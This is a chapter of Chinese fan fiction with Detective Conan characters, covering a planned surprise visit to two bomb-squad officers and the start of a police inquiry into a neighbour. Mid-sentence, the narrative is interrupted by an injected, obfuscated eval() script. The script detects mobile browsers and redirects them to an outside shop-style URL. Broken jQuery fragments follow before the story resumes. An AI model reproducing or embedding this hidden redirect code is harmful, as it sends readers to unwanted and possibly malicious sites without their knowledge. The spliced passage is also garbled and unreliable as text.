“啊?你说什么,要来东京找我们?”松田阵平回答电话那头的声音大了些,引来了旁人的注意,他朝着对方挥挥手,站起身走出了食堂,撇下了吃到了一半的饭菜。
“因为怎么约你们都约不到时间,好不容易千速姐的假期正常了,所以就想着要不我和千速姐干脆来找你们好了。”电话那头是佐藤缘,她隆起肩膀,用耳朵和肩膀夹着手机,两只手正好腾出来给面前的点心打包。
“也顺便看看你们两个过得怎么样。”她说着想起萩原千速的表情,对方提起时一脸担忧,她对于萩原研二和松田阵平两个人的自理能力很是不报希望。
之前在警察学校还好,住的是宿舍,吃饭什么的有食堂安排,现在两个人正式工作了,虽然租住的公寓有部分警察津贴不用担忧,但除此之外的一切都让她放心不下。
“千速想得太多啦。”能猜到提起这个建议的是萩原千速,松田阵平没忍住翻了个白眼,“我和萩又不是小孩子。”
“关于这个啊……”
比起人缘很好,或者说异性缘很好的萩原研二,松田阵平才是更让人担心的那一个。
萩原研二这种性格无论跑到哪里都会过得很好,但松田阵平就说不准了。
“在你们眼里我到底是什么样子的啊?自理能力白痴级的吗?”听得出电话那头的佐藤缘语焉不详,松田阵平没忍住磨了磨牙。
他家老头子酗酒那么多年,也从来都没管过他,老妈更是早早离开了,他如果没能掌握基本的自理能力还能顺顺利利活到现在?
“总而言之,我和千速姐都很关心你们,所以这个周末我们会从大和赶过来,你们不欢迎?”
“行了,我知道了,到时候会通知萩的。”
骤然从松田阵平这里得到通知的萩原研二如晴天霹雳,他看着松田阵平的眼里满是不可置信,“老姐和小缘这个周末要过来?!”
因为过于惊讶,他甚至抓住了松田阵平的肩膀,表情有些崩溃,“你就这么简单地应下了?!”
“不然我能怎么办?你觉得她们两个能听得懂拒绝吗?”松田阵平摊开双手,语气里充满了一种淡淡的死感。
“这可真是……”萩原研二颓然坐在椅子上,“明明这周就要交报告了,可恶,还得回去做家务……”
萩原千速和佐藤缘的直觉其实很准,她们的猜测根本没错,虽然对象要稍稍改变一下。
这两个人自从加入了爆·炸·物处理班之后就围着工作团团转,偶尔回家的时候也是衣服裤子到处一丢直接躺床上睡得天昏地暗,等到有时间了才把堆积成一团的衣物和餐具进行清理,眼下还没到大扫除的时候,萩原千速和佐藤缘要是在这个时间段搞突击上门,那他俩肯定是要完蛋了的。
哦,不对,完蛋的只有他,小阵平因为工作过于忙碌反而已经好长时间没回公寓了,所以他那个房间反而保持得不错。
这么想想反而又觉得很是地狱。
萩原研二露出痛苦的神色。
“萩,”松田阵平抽完了一整根烟,这才拍了拍他的肩膀,脸上带着郑重的托付,“今天下班你先回去吧。”
“诶?可是报告……”
“那种事情现在不要紧,我会跟上头解释的,你现在最要紧的是先回去,把家里打扫到最起码面子上过得去!”他说着从兜里摸出钥匙塞到萩原研二手里,“我家里也拜托你了!”
“……我明白了。”看着松田阵平郑重到如同托孤一般的神色,萩原研二收起脸上的苦恼,同样郑重其事地点头,“我明白了!交给我吧,小阵平!”
完全不知道两个大男人对于自己和萩原千速周末做客如临大敌的佐藤缘还在工作间统计库存,盘算着面粉红豆之类的材料是否需要进货。
这个月因为不需要额外准备狐狸师傅那边的点心,所以库存还剩下许多,她得想办法将这些材料消耗掉一些。
还有……
她看了看被自己替换下来的旧红绳,忘记问银次先生要怎么处理了。
但这个狐狸师傅不来,只能等下个月的月中见到他再询问了。
还有牛妖给出的报酬,以她的眼光看来只是一颗漂亮的珠子,但是在狐狸师傅眼里就完全不一样了,可能是稀有的灵器道具,也有可能是某些特殊群体偏爱的食物。
————————
因为已经提前交代过,所以周末的时候佐藤缘早早在店门口贴上了店休的通知,然后愉快地和萩原千速汇合,准备对萩原研二和松田阵平进行突击慰问。
萩原千速穿着一件浅灰色的针织开衫,松松垮垮的,袖子挽到手肘,露出一截白皙的小臂,内里是一件简单的白色T恤,领口处隐约可见纤细的锁骨。下身是一条藏青色的直筒牛仔裤,脚上踩着一双白色的运动鞋,整个人透着一股二十出头女孩特有的清爽和随意。
她站在站台边,正低头看着手机,一头浅棕色的长发在脑后随意地扎成低马尾,几缕碎发散落在耳边,被午后的微风轻轻吹动。发尾搭在肩上,衬得她侧脸的线条愈发柔和。二十来岁的年纪,眉宇间还带着几分少女的稚嫩,却又透着独属于警察的那股子飒爽英气。
听到脚步声,她抬起头,露出一张清秀的脸。浅棕色的细眉,蓝色的瞳孔明亮清澈,眼角微微上扬,带着点天生的凌厉,此刻却被嘴角那抹笑意冲淡了许多。“小缘,这里。”她收起手机,朝佐藤缘招了招手,笑得眉眼弯弯。
那笑容里带着点狡黠,像是已经在想象那两个弟弟被她们“突袭”时的表情。
“久等了。”佐藤缘小跑着过来,背上那只鼓囊囊的双肩包随着动作一颠一颠的。藏青色的帆布包洗得有些发白,边角却整整齐齐,包上别着樱田屋的招牌“果铜”胸针,是佐藤缘之前特意找人定制的周边,先前作为活动奖品推出
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17277712|195328||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的时候人气很高。
她今天穿了件奶白色的圆领针织衫,领口露出一小截锁骨,下身是一条浅棕色的及膝裙,脚上是双方便走路的平底鞋。棕色的长发没有像往常那样扎起来,而是披散在肩上,发尾微微卷翘,被风吹得有些凌乱。
跑近站定的时候,她微微喘着气,脸颊浮起一层薄薄的粉色。蜜糖色的眼睛弯成两道月牙,左边脸颊陷下去一个小小的酒窝,右边是那个更浅的小米窝,和小时候一模一样。
“包里装的是什么?这么沉。”萩原千速看她跑得吃力,帮忙拎了一下她的背包,然后为那分量惊讶了一下。
“慰问品。”佐藤缘眨眨眼,笑容甜美,“想着自从警察学校毕业典礼之后就没再见他们了,或许会想念熟悉的味道。”
虽然打电话的时候松田阵平嘴硬,但他们到底是从小一起长大的小伙伴,怎么会猜不到这两个忙得都没空在群里回消息的大男人过得何等水深火热呢?
她解释了一句,抬手把被风吹乱的长发别到耳后,露出那张比几个月前消瘦了些却依然带着婴儿肥的脸。阳光下,那双蜜糖色的眸子亮晶晶的,盛满了期待和一点点的坏心眼。
“走吧,千速姐。”她晃了晃背包,“去给那两个家伙送温暖。”
——————
“叮咚——”周末的上午,松田阵平租住的房间门铃被摁响,他揉了揉睡得一团乱糟糟的卷发打着呵欠去开了门。
“来了——”他头也不抬数落,“你们两个也来得太早了吧,知不知道周末扰人清梦是会被人讨厌的?”
“抱歉你认错人了,我是搜查一课的刑事高木长介,”结果没等他回过神来,出现而耳边的是一个粗糙硬朗的大叔声音,嗓子似乎因为抽烟而有些沙哑,“有些事情想要咨询你,现在有空吗?”
“啊?”听到对方这么说的松田阵平回过神来,条件反射就是附近发生了什么案子,刚刚还存在的些许抱怨与困倦霎时消失了,他抬起头,看着面前这个面向温和,平平无奇到像是每个组里都会有的那种老好人模样的警察,眼神尖锐。
“怎么了,我刚醒,出了什么事?”
“啊,关于这点警方还在调查中……请问你认识自己楼上的邻居吗?”
“楼上?”听到高木长介这么问,松田阵平皱了皱眉,“我是新搬来的,最近这几天都不住这里,所以对邻居的了解不多……楼上好像是个很啰嗦的阿婆?”他说着挠了挠一头乱发,“之前听房东转告我说她抱怨楼下半夜里经常有声音响动,还让我夜里小声点……但实际上她抱怨的那段时间我基本上都在宿舍,所以根本是她在胡乱抱怨吧?”
“那个阿婆发生什么事了吗?”松田阵平听到高木长介自我介绍是搜查一课的人就知道事情有哪里不对劲,毕竟如果是一般的民事案件是牵扯不到搜查一课的刑警来上门调查的,所以……那位很烦人的阿婆出事了?